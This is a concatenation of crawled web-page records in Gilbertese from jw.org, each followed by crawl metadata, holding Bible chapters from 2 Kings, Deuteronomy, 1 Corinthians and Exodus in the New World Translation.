Ehrenbogen ngke e wareka te kanoan te Baibara are e buokaki iai ni bita maiuna.\nKAKAIRI N AIA ONIMAKI\nIrarikin te onimaki, e kaotiotii naba aroaro tabeua aika rianako Rebeka.\nE kairua taboan aran te Atua?\nBaika Tibwa Rin Riki n te Intanete\nAna kaeka te Baibara nakon te titiraki aei e karekea te kabebeteaki ao te kantaninga.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na3-2016-mei\/","date":"2018-01-24T06:48:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893397.98\/warc\/CC-MAIN-20180124050449-20180124070449-00352.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":221,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"22 Boni wanua ana ririki Iotia+ ngke e riki bwa te uea ao e tautaeka i Ierutarem+ i nanon 31 te ririki. Aran tinana Ietita are natin Ataia are mai Botikata.+ 2 E karaoa ae eti i matan Iehova ao e nakonako ni kawain nako Tawita are ana bakatibu,+ ao e aki rairakinako mai iai nakon te angaatai ke te angamaing. 3 N ana ka-18 n ririki n tautaeka te Uea are Iotia, ao te uea e a kanakoa Tiaban are te tia koroboki, are natin Aturaia are natini Meturam, nakon ana auti Iehova+ ao e kangai: 4 \"Waerake nakon Irekia+ are te ibonga ae rietata,* ao ke e rikoi taiani mwane ni kabane ake a uotaki nako nanon ana auti Iehova,+ ake a rikoi mairouia aomata taan teiakina te mataroa.+ 5 Ko na tua bwa a na anga nakoia te koraki ake a mwiokoaki bwa mataniwi n te mwakuri n ana auti Iehova, ake ngaiia aika a na angania taani mwakuri n ana auti Iehova, ake a na onobwaia uruakin* te auti,+ 6 ae taekaia taani karaobwai aika mwaatai, taani kateitei, ao taani mwakuria te atibu. Ao a na kabongana ni kabooi iai kaai ma atibu aika ekeaki ibukin onobwaian te auti.+ 7 Ma e na aki karaoaki te kakaae i aoia naakai ibukin te mwane are a anganaki, ibukina bwa a kona n onimakinaki.\"+ 8 Imwina riki ao e taku Irekia are te ibonga ae rietata nakon Tiaban are te tia koroboki:+ \"I kunea bokin te Tua+ n ana auti Iehova.\" Mangaia are e anga te boki Irekia nakon Tiaban, ao e a warekia.+ 9 Ao e nako Tiaban are te tia koroboki nakon te uea ao e tuangnga ni kangai: \"A a tia am toro ni kannai taiani mwane ake a reke n te auti, ao a angania naake a mataniwi n te mwakuri n ana auti Iehova.\"+ 10 E tuanga naba te uea ae kangai Tiaban are te tia koroboki: \"Iai te boki+ ae e anganai Irekia are te ibonga.\" Ao e a warekia Tiaban i matan te uea. 11 Ngke e ongo naba ngkekei te uea taeka ake ni bokin te Tua ao e a raeuai naba kunnikaina.+ 12 Ao e tua ae kangai te uea nakon Irekia are te ibonga ma Aikam+ are natin Tiaban, Akebora are natini Mikaia, Tiaban are te tia koroboki, ao Ataaia are ana toro te uea: 13 \"Naako ao titirakina Iehova ibukiu, ibukia aomata, ao ibukia tibun Iuta ni kabane, ni kaineti ma taeka aika n te boki ae kuneaki aei. Bwa e urarake unin Iehova ae korakora iroura,+ ibukina bwa a aki ongeaba ara bakatibu n taeka aika n te boki aei ni kakairi ni bwaai ni kabane aika koreaki ibukira.\" 14 Mangaia are a nako Irekia are te ibonga, Aikam, Akebora, Tiaban, ao Ataaia nakon Ureta are te burabeti n aine.+ Neiei boni buun Tiarum are natin Tikewa are natin Areati, are te tia tararuaa te ruu ni kunnikai, ao e mamaeka neiei ni Kauouani Mwakoron Ierutarem, ao a taetae ma neiei ikekei.+ 15 E taku neiei nakoia: \"E kangai ana taeka Iehova ae Atuan Iteraera, 'Tuanga te mwaane are kanakoingkami nakoiu ni kangai: 16 \"E kangai ana taeka Iehova, 'N na karokoa te kabuanibwai i aon te tabo aei ma kaaina, ake taeka ni kabane ake n te boki are e warekia uean Iuta.+ 17 Ibukina bwa a kitanai ao a kabueki karea ni kabubui nakoia atua riki tabeman+ bwa a na kaunai n aia mwakuri ni kabane baia,+ ao e na urarake uniu ae korakora n ekaanako te tabo aei ao e na aki tiringaki uniu.'\"+ 18 Ma kam riai ni kangai nakon uean Iuta are e kanakoingkami bwa kam na titirakina Iehova, \"E kangai ana taeka Iehova ae Atuan Iteraera: 'Ni kaineti ngkanne ma taeka ake ko ongo, 19 ao I bon ongo naba iroum, ibukina bwa e kan ongeaba* nanom ao ko kananorinanoko+ i matan Iehova ngke ko ongo baike I taekin n ekaanako te tabo aei ma kaaina, ae a na riki bwa te bwai ni kakamaaku ao ni karekekai, ao ko raeuai kunnikaim+ ao n tang i matau, bon ana taeka Iehova. 20 Anne bukina ae N na ikotiko iai ma am bakatibu,* ao ko na kaiiaki n ruanimatem ma te rau, ao matam a na aki nora te kabuanibwai aei ni kabane ae N na karokoa i aon te tabo aei.'\"'\" Ao a uota te kaeka nakon te uea.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-uea\/22\/","date":"2018-02-24T18:18:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815918.89\/warc\/CC-MAIN-20180224172043-20180224192043-00459.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":764,"character_repetition_ratio":0.068,"word_repetition_ratio":0.005,"special_characters_ratio":0.241,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"29 Aikai taekan te berita are e tua Iehova nakoni Mote bwa e na karaoia ma tibun Iteraera n te aba ae Moaba, irarikin te berita are e karaoia ma ngaiia i Oreba.+ 2 E weteiia ngkanne tibun Iteraera ni kabane Mote ao e taku nakoia: \"Kam a tia n nori bwaai ni kabane ake e karaoi Iehova i matami n te aba are Aikubita nakoni Barao, ma ana toro ni kabane, ao abana ni kabutaa,+ 3 ake taiani motikitaeka aika korakora ake kam nori ni matami, ao kanikina aika rangi ni kamimi ma kakai.+ 4 Ma e aki anganingkami Iehova te nano ae kam na ota iai, ao maata aika kam na noraaba iai, ao taninga aika kam na ongo iai, ni karokoa te bong aei.+ 5 'Ngke I teimatoa ni kairingkami i nanon 40 te ririki n te rereua,+ ao a aki roko n te mane ami kunnikai ake i aomi, ao a aki roko n te mane ami kau ake i waemi.+ 6 Kam aki kang kariki, ao kam aki nima te wain ke te bwai teuana ae kamanging, bwa kam aonga n ataia ae bon Iehova ngai ae Atuami.' 7 N tokina ao kam a roko n te tabo aei, ao a otinakoira ni buakanira Taion are uean Etiibon+ ma Oka are ueani Batian,+ ma ti kataei aia kai.+ 8 Imwin anne ao ti anai abaia ao ti angania tibun Reuben, tibuni Kata, ao iteran aia baronga tibuni Manate, bwa tibwangaia.+ 9 Mangaia ae kawakin raoi taeka aika n te berita aei ao ongeaba iai, bwa a aonga n nakoraoi bwaai nako aika kam na karaoi.+ 10 \"Kam bane n tei i matan Iehova ae Atuami n te bong aei, mataniwi n ami baronga nako, ami unimwaane, ami taan tararua, mwaane nako aika tibun Iteraera, 11 natimi, buumi,+ ao aomata aika maeka n iruwa+ i buakomi n ami kaembwa, ni moa mairoun te aomata ae ami tia tabeaia ni karokoa te aomata ae ami tia itiran. 12 Kam mena ikai bwa kam aonga n rin n ana berita Iehova ae Atuami ao n ana taetae n tuea, ae e karaoia ma ngkami Iehova ae Atuami n te bong aei,+ 13 ao e aonga ni kateingkami n te bong aei bwa ana aomata,+ ao e aonga n riki bwa Atuami,+ n aron are e beritanna nakoimi, ao n aron are e taetae n tuea iai nakoia ami bakatibu ake Aberaam,+ Itaaka,+ ao Iakoba.+ 14 \"I aki tii karaoa te berita ao te taetae n tuea aei ma ngkami, 15 ma nakoia naba te koraki aika tei i rarikira n te bong aei i matan Iehova ae Atuara, ao te koraki naba ake a aki mena i rarikira n te bong aei. 16 (Bwa kam ataa raoi arora ni maeka n te aba are Aikubita, ao arora n ribuakoia natannaomata aika kakaokoro ni mwanangara.+ 17 Ao kam taneiai n nori aia bwai aika riribaaki ao aia bouannanti aika kamwara*+ aika karaoaki man te kai ao te atibu, te tirewa ao te koora, ake a mena i buakoia.) 18 Taratara raoi bwa e na akea te mwaane ke te aine, te utu teuana ke te baronga teuana, i buakomi n te bong aei ae rairakinako nanona mairoun Iehova ae Atuara bwa e na nako n toro irouia atuaia natannaomata akanne,+ bwa e aonga n akea te wakaa i buakomi ae e na karikii uaa aika boitin ao aika mao.+ 19 \"Ma ngkana iai ae e ongo taekan te taetae n tuea aei ao e kamoamoa ni kangai i nanona, 'E na reke irou te rau e ngae ngke I bon teimatoa n nakonako ni kawai aika e bon tangiri nanou,' ao e uruani bwaai nako* ake ni kawaina, 20 ao Iehova e na aki kani kabwaraa ana bure.+ Ma e na urarake unin Iehova ae korakora ni kaitaraa teuanne, ao e na bon roko i aona te rekenikai ae bwanin ae koreaki n te boki aei.+ Ao Iehova e na boni kamauna aran teuanne mai aani karawa. 21 E na katebenakoa teuanne Iehova mai buakon aia baronga nako tibun Iteraera ibukin te kabuanibwai, ni kaineti ma te rekenikai ae bwanin n te berita ae koreaki ni bokin te Tua aei. 22 \"Ao te roro ae e na roko aika kaaina natimi, ao te ianena man te aba ae raroa, ngkana a nori rekenikai n te aba anne ake aoraki ake e karokoi Iehova iai, 23 ae te burimton,* te taoro, ao te ura, bwa e aonga n aki karaoaki te ununiki n te aba anne ni kabutaa ke ni bwebwerake, ao a na aki naba rikirake iai aroka, n aroni kamaunaan Totom ma Komora,+ ao Atema ma Teboiim,+ ake e kamaunai Iehova ni marakin nanona ao n unna, 24 ao ane a na kangai ma natannaomata ni kabane, 'E aera ngkai e karaoa aei Iehova nakon te aba aei?+ Tera ae karika te urarake n un ae korakora aei?' 25 Ao ane a na kangai, 'Ibukina bwa a kitana ana berita Iehova+ ae Atuaia aia bakatibu, are e karaoia ma ngaiia ngke e kairiia ni kaotinakoia man te aba are Aikubita.+ 26 Ao a nako ao a toro irouia atua riki tabeman ao ni bobaraaki nakoia, aika atua aika a aki kinaia ao aika e aki kariaia bwa a na taromaurii.*+ 27 Ao e urarake unin Iehova ni kaitaraa te aba anne, ni karokoa i aona te rekenikai ae bwanin ae koreaki n te boki aei.+ 28 Mangaia are e taeki wakaaia Iehova man aia tano ni marakin nanona ao ni bonon nanona,+ ao n unna ae korakora, ao e kanakoia nakon te aba teuana, ae a mena iai n te bong aei.'+ 29 \"Ana bwai Iehova ae Atuara baika raba,+ ma bon ara bwai ma kanoara n aki toki baika kaotaki, bwa ti aonga ni kakororaoi taekan nako te Tua aei.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/29\/","date":"2018-02-20T02:58:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00217.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":989,"character_repetition_ratio":0.054,"word_repetition_ratio":0.01,"special_characters_ratio":0.246,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12 Taari, I aki tangiringkami bwa kam na babanga ni kaineti ma bwaai n tituaraoi rinanon te taamnei.+ 2 Bwa kam ataia bwa ngke kam mena ngkoa i buakon te natannaomata,* ao kam kairaraangaki ao ni kairakinako n aanga aika bati nakon taromauriaia bouannanti aika aki tataetae.+ 3 I tuangingkami ngkai bwa akea ae e taetae rinanon taamnein te Atua ae e na kangai: \"E maraia Iesu!\" ao akea ae e kona ni kangai: \"Te Uea Iesu!\" ma tii ane e kairaki n te taamnei ae raoiroi.+ 4 A kakaokoro bwaai n tituaraoi, ma tii teuana te taamnei,+ 5 ao a kakaokoro taian nakoa,+ ma tii temanna te Uea. 6 A kakaokoro mwakuri* ma tii temanna te Atua ae karaoi mwakuri nako i nanoia aomata ni kabane.+ 7 Ma e kaotaki bwa e mwamwakuri te taamnei rinanon temanna ma temanna ibukin te kantaninga ae manena.+ 8 Bwa e anganaki temanna te konaa n taetae* ma te wanawana rinanon te taamnei, ao are temanna e anganaki te konaa n taetae ma te ataibwai rinanon naba te taamnei ae tii teuana aei, 9 ao are temanna te onimaki+ rinanon naba te taamnei aei, ao are temanna te bwaintituaraoi ae te katoki aoraki+ rinanon naba te taamnei ae tii teuana aei, 10 ao are temanna karaoani mwakuri ni kakai,+ ao are temanna te taetae ni burabeti, ao are temanna ataakin ae taeka raa ake a reke rinanon te taamnei ae raoiroi,+ ao are temanna te taetae n taetae aika kakaokoro,+ ao are temanna te kabwarai nanon taetae aika kakaokoro.+ 11 Ma a bane mwakuri aikai ni karaoaki n te taamnei ae tii teuana, bwa e tibwai baikai nakon temanna ma temanna n aron are e kantaningaia. 12 Bwa aron te rabwata ngkai tii teuana ma a bati bwaina nako, ao e ngae ngke a bati bwain nako te rabwata anne, ma bon te rabwata ae tii teuana+ baikanne, ao ai aron naba te Kristo. 13 Bwa ti bane ni bwabetitoaki n te taamnei ae tii teuana nakon te rabwata ae tii teuana, e ngae ngke I-Iutaia ke I-Kuriiti ke tooro ke inaomata ngaira, ma ti bane ni kamooaki n te taamnei anne. 14 Bwa bon tiaki tii teuana bwain te rabwata, ma a bati.+ 15 Ngkana arona bwa e kangai te wae, \"Ngkai tiaki te bai ngai, ao tiaki ngai bwain te rabwata,\" tiaki nanona bwa ai tiaki bwain te rabwata ngaia. 16 Ao ngkana arona bwa e kangai te taninga, \"Ngkai tiaki te mata ngai, ao tiaki ngai bwain te rabwata,\" tiaki nanona bwa ai tiaki bwain te rabwata ngaia. 17 Ngkana ai te mata te rabwata ni kabane, ao e a nga ngkanne te kakauongo? Ao ngkana ai te kakauongo ni kabane, ao e a nga ngkanne te aroboi? 18 Ma e a tia te Atua ni bairei bwain nako te rabwata, n ai aron nanona. 19 Ngkana ai tii te aekakina bwain nako te rabwata, ao e a kangaa ngkanne aron te rabwata? 20 Ma a bati bwain nako te rabwata ma tii teuana te rabwata. 21 E aki kona ni kangai te mata nakon te bai, \"I aki kainnanoiko,\" ke e aki kona naba ni kangai te atu nakoni waae, \"I aki kainnanoingkami.\" 22 Ma ni kaitaraan anne, a rangi ni kainnanoaki bwain nako te rabwata ake a taraa ni mamaara, 23 ao bwain te rabwata ake ti taku bwa a aki rine, ti a kabatiai riki karineaia,+ n te aro are a a karineaki riki iai bwain rabwatara ake a aki rine, 24 ma a aki kainnanoa te bwai teuana bwain rabwatara ake a tamaroa. Ma e katiteuanai bwain te rabwata te Atua ni kabatiai riki karineani bwain te rabwata ake a aki rine, 25 bwa e aonga n aki reke te iraraure n te rabwata, ma a na tabeakinia i marenaia bwain nako te rabwata n te aro ae tii te arona.+ 26 Ngkana e maraki bwain te rabwata teuana, ao a bane ni maraki ma ngaia bwaina ake tabeua,+ ke ngkana e karineaki bwain te rabwata teuana ao a bane ni kimwareirei ma ngaia bwaina ake tabeua.+ 27 Bon rabwatani Kristo ngkami ngkai,+ ao bwain rabwatana ngkami n tatabemaningkami nako.+ 28 Ao e a tia te Atua ni bairei aroia kaain te ekaretia aika kakaokoro: bwa te moan, abotoro,+ te kauoua, burabeti,+ te katenua, taan angareirei,+ ao imwina mwakuri ni kakai,+ ao imwina te bwaintituaraoi ae te katoki aoraki,+ mwakuri n ibuobuoki, taiani konabwai ni kairiri,+ ao ai taetae n taetae aika kakaokoro.+ 29 Abotoro ngaiia ni kabane? Burabeti ngaiia ni kabane? Taan angareirei ngaiia ni kabane? Taani karaoi mwakuri ni kakai ngaiia ni kabane? 30 Iai irouia ni kabane te bwaintituaraoi ae te katoki aoraki? Taan taetae n taetae aika kakaokoro ngaiia ni kabane?+ Taani kabwarai nanon taeka* ngaiia ni kabane?+ 31 Ma kam na teimatoa n ukoukori* bwaai n tituaraoi aika kakannato riki,+ ao N na kaota nakoimi te aro ae moan te raoiroi riki.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-i-korinto\/12\/","date":"2018-02-26T04:31:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817999.51\/warc\/CC-MAIN-20180226025358-20180226045358-00130.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":836,"character_repetition_ratio":0.101,"word_repetition_ratio":0.027,"special_characters_ratio":0.235,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"18 Ao Ietero ae ibongani Mirian ae tamani buuni Mote,+ e ongo taekani bwaai ni kabane ake e karaoi te Atua ibukini Mote ma ana aomata aika tibun Iteraera, ae aron Iehova ni kairiia tibun Iteraera ni kaotinakoia mai Aikubita.+ 2 Ao Ietero are tamani buuni Mote, e kamaekaa Tibora are buuni Mote irouna ngke e kaokaki neiei nakoina, 3 n ikotaki ma natin neiei mwaane ake uoman.+ E aranaki natina temanna bwa Keritiom*+ bwa e taku Mote, \"I maeka n iruwa n te aba ae ianena,\" 4 ao e aranaki are temanna bwa Erietera* bwa e taku, \"bon te tia buokai Atuan tamau, are e kamaiuai man ana kabaang Barao.\"+ 5 Mangaia are e a nako Ietero are tamani buuni Mote ma natini Mote ma buuna ni kawara Mote n te rereua are e kaembwa iai, n ana maunga te Atua ae koaua.+ 6 E kanakotaeka ngkanne nakoni Mote ni kangai: \"I a roko ngai ae Ietero+ ae tamani buum ni kawariko, ma buum ao natim aika uoman.\" 7 E aki tabwara Mote ma e a otinako naba ni kawara tamani buuna, ao e bobaraaki ao e kaboria* ma ngaia. A ititiraki aroia i marenaia bwa a uara ao imwina a a nako n rinnako n te umwanrianna. 8 E kaongoraea tamani buuna Mote bwaai ni kabane ake e karaoi Iehova nakoni Barao ao Aikubita ibukia tibun Iteraera,+ karawawata ni kabane ake a bwakariia i nanoni kawaia,+ ao aron Iehova ni kamaiuia. 9 E kimwareirei Ietero ni baika raraoi ni kabane ake e karaoi Iehova ibukia tibun Iteraera, ngke e kamaiuia mai Aikubita.* 10 Ao e taku Ietero: \"Ke e karaoiroaki Iehova, ae kamaiuingkami mai Aikubita ao mairouni Barao, ao ae kamaiuia aomata mai aani mwaakan Aikubita. 11 I a ataia ngkai bwa e boni kakannato riki Iehova nakoia atua ni kabane,+ ibukin te baere e karaoia nakoia te koraki ake a kainikatonga n ekiianako ana aomata.\" 12 Ao e uota te karea ni kabuekaki Ietero are tamani buuni Mote, ma taiani karea nakon te Atua, ao a roko Aaron ma aia unimwaane tibun Iteraera ni kabane n amwarake ma tamani buuni Mote i matan te Atua ae koaua. 13 N te bong are imwina ao e a tekateka Mote n aron ae taneiai iai, bwa te tia motikitaeka ibukia aomata, ao a teimatoa aomata n tei i matani Mote man te moaningabong ni karokoa ae tairiki. 14 Ngke e nori bwaai ni kabane tamani buuni Mote ake e karaoi ibukia aomata ao e taku: \"Tera te baene ko karaoia ibukia aomata akanne? E aera ngkai ko tekateka ikai n tii ngkoe ao aomata ni kabane a tei i matam man te moaningabong ni karokoa ae tairiki?\" 15 E taku Mote nakon tamani buuna: \"Ibukina bwa a teimatoa aomata ni kawarai bwa a na titirakina te Atua. 16 Ngkana iai te bwai ae riki, ao e na roko taekana irou ao ngai ae N na motikitaeka i marenan te aomata temanna ma temanna, ma ni kaotii ana moti ma ana tua te Atua ae koaua.\"+ 17 E taku tamani buuni Mote nakoina: \"E aki raoiroi te baene ko karaoia. 18 Ko na bon rangi ni kua iai, ngkoe ma aomata aika raom aikai, ibukina bwa bon te uota ae rangi n rawawata aei ibukim ao ko aki kona n uotia n tii ngkoe. 19 Ongora ngkai irou. N na anganiko te taeka n reirei ao e na boni memena iroum te Atua.+ Ko riki bwa te tia tei ibukia aomata aikai i matan te Atua ae koaua,+ ao ko riai n uotii taekan aia kangaanga nako matan te Atua ae koaua.+ 20 Ko riai n reireinia kaetieti ma tuua,+ ao kaota te kawai nakoia ae a riai n nakonako iai, ma te mwakuri ae a riai ni karaoia. 21 Ma ko riai n rineiia mai buakoia aomata, mwaane aika konabwai+ aika a mamaaka te Atua, mwaane aika kona n onimakinaki ao aika a ribaa karekean te raka n te babakanikawai,+ ao mwiokoiia bwa mataniwi i aoia kaka teuana tenga, mataniwi i aoia kaka tebubua, mataniwi i aoia kaka nimangaun, ao mataniwi i aoia kaka tengaun.+ 22 A riai ni momotiki taekaia aomata ngkana iai baika riki* ao a na uotii nakoim taekani baika kangaanga ni kabane,+ ma a na motiki taekani baika uarereke ni kabane. Kabebetea riki uotam n arom ni kariaia naakai bwa a na uataboa te uota ma ngkoe.+ 23 Ngkana ko karaoa aei, ao e boraoi aei ma ae e tua te Atua nakoim, ao ko na kona n teimatoa iai n uataboa te uota, ao a na bane aomata n okira mwengaia ma te raunnano.\" 24 E waekoa Mote n ongo iroun tamani buuna ao e karaoi bwaai ni kabane ake e taekin. 25 E rineiia mwaane aika konabwai Mote mai buakoia tibun Iteraera ni kabane, ao e mwiokoiia bwa taani kairiri i aoia aomata, bwa mataniwi i aoia kaka teuana tenga, mataniwi i aoia kaka tebubua, mataniwi i aoia kaka nimangaun, ao mataniwi i aoia kaka tengaun. 26 Mangaia are a momotiki taekaia aomata ngkana iai baika riki. A uota taekan te tangitang ae kangaanga nakoni Mote,+ ma a motiki taekani baika uarereke ni kabane. 27 Imwin anne ao e a bakaboraua tamani buuna Mote,+ ao e a nako teuaei nako abana.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-otinako\/18\/","date":"2018-02-21T09:35:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813602.12\/warc\/CC-MAIN-20180221083833-20180221103833-00483.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":897,"character_repetition_ratio":0.082,"word_repetition_ratio":0.036,"special_characters_ratio":0.231,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24 N ana bong Ieoiakim, ao e roko te Uea are Nebukaneta+ are ueani Baburon n ekianako, ao e riki Ieoiakim bwa ana toro i nanon tenua te ririki. Ma e a manga rawa nakoina ao ni karitei. 2 Ao Iehova e a kanakoia taani kuribwai aika I-Kareria,+ I-Turia, tibuni Moaba, ao tibun Ammon. E teimatoa ni kanakoia bwa a na ekiianako tibun Iuta ao ni kamaunaia, ni kaineti ma ana taeka Iehova+ are taekinna rinanoia ana toro ake burabeti. 3 E riki aei nakoia tibun Iuta ibukina bwa e bon tua Iehova, bwa e na kamwaawaia mai matana+ ibukini buure ni kabane ake e karaoi Manate,+ 4 ao ibukin naba raraaia aomata aika akea aia bure are e katutua,+ bwa e kaona Ierutarem n raraaia aomata aika akea aia bure, ao e aki kani kabwarai buure akanne Iehova.+ 5 Ni kaineti ngkanne ma nikiran rongorongon Ieoiakim ma bwaai ni kabane ake e karaoi, tiaki a koreaki n te boki are rongorongon aia tai uean Iuta?+ 6 Ao e a kaiiaki Ieoiakim i rarikia ana bakatibu,+ ao e a riki natina are Ieoiakin bwa te uea n onea mwina. 7 Ao e aki roko n te manga otinako uean Aikubita mai abana, bwa e a tia ueani Baburon n anai bwaai ni kabane ake ana bwai uean Aikubita,+ ni moa mani Mwaruan Aikubita+ ni karokoa te Karaanga ae Iuberetiti.+ 8 Bon 18 ana ririki Ieoiakin+ ngke e riki bwa te uea, ao e tautaeka i Ierutarem i nanon tenua namwakaina.+ Aran tinana Neutita are natin Erenatan are mai Ierutarem. 9 E teimatoa ni karaoa ae buakaka i matan Iehova, ni kaineti ma bwaai ni kabane ake e karaoi tamana. 10 N te tai anne ao a waerake n ekaanako Ierutarem ana toro te Uea are Nebukaneta are ueani Baburon, ao e a otabwaniniaki te kaawa.+ 11 Ao e roko te Uea are Nebukaneta are ueani Baburon n te kaawa, ngke a tabe ana toro n otabwaninia te kaawa. 12 Ao e otinako Ieoiakin are Uean Iuta nakon ueani Baburon,+ ngaia ma tinana, ana toro nako, ana aomata aika tooka,* ao ana mataniwi.+ Ao ueani Baburon e kairaanako teuaei bwa ana taenikai n ana kawanua n ririki n tautaeka ueani Baburon.+ 13 Ao e uotiinako mai ikekei baika kakawaki ni kabane ake n ana auti Iehova ma baika kakawaki ake n ana auti* te uea.+ E korokorei bwaai ni kabane aika koora ake e karaoi Toromon are uean Iteraera n ana tembora Iehova,+ n aron are e a kaman taekinna Iehova. 14 E kataenikaia Ierutarem ni kabutaa, ao e kairiia 10,000 bwa taenikai aika tooka* ni kabane,+ taani buaka aika korakora ni kabane, ma mwaane nako aika taani karaobwai aika mwaatai ma taani mwakuria te biti.*+ Akea aika a tiku ma tii te koraki ake taiani kabanea ni maiu ni kainnano n te aba.+ 15 Ngaia are e kairaanako Ieoiakin+ bwa te taenikai nako Baburon,+ ao e kaira naba tinan te uea, buun nako te uea, ana mataniwi nako, ao mwaane aika taiani kabanea ni kakannato n te aba, ao e kairiia bwa taenikai mai Ierutarem nako Baburon. 16 Ao ueani Baburon e kairiianako naba bwa taenikai nako Baburon taani buaka ni kabane aika 7,000 n ikotaki ma mwaane aika 1,000, aika taani karaobwai aika mwaatai ma taani mwakuria te biti,* boni mwaane ni kabane aika korakora naakai aika kataneiaaki ibukin te buaka. 17 Ao ueani Baburon e a kaueaa Matania are ai taman Ieoiakin,+ n onea mwina, ao e bita arana nakon Tetekia.+ 18 Bon 21 ana ririki Tetekia ngke e riki bwa te uea, ao e tautaeka i Ierutarem i nanon 11 te ririki. Aran tinana Amutara+ are natin Ieremia are mai Ribena. 19 E teimatoa ni karaoa ae buakaka teuaei i matan Iehova, ni kaineti ma bwaai ni kabane ake e karaoi Ieoiakim.+ 20 A riki baikai i Ierutarem ao i Iuta ibukin unin Iehova, ni karokoa ae e bon tewenakoia mai matana.+ Ao e karitei Tetekia nakon ueani Baburon.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara 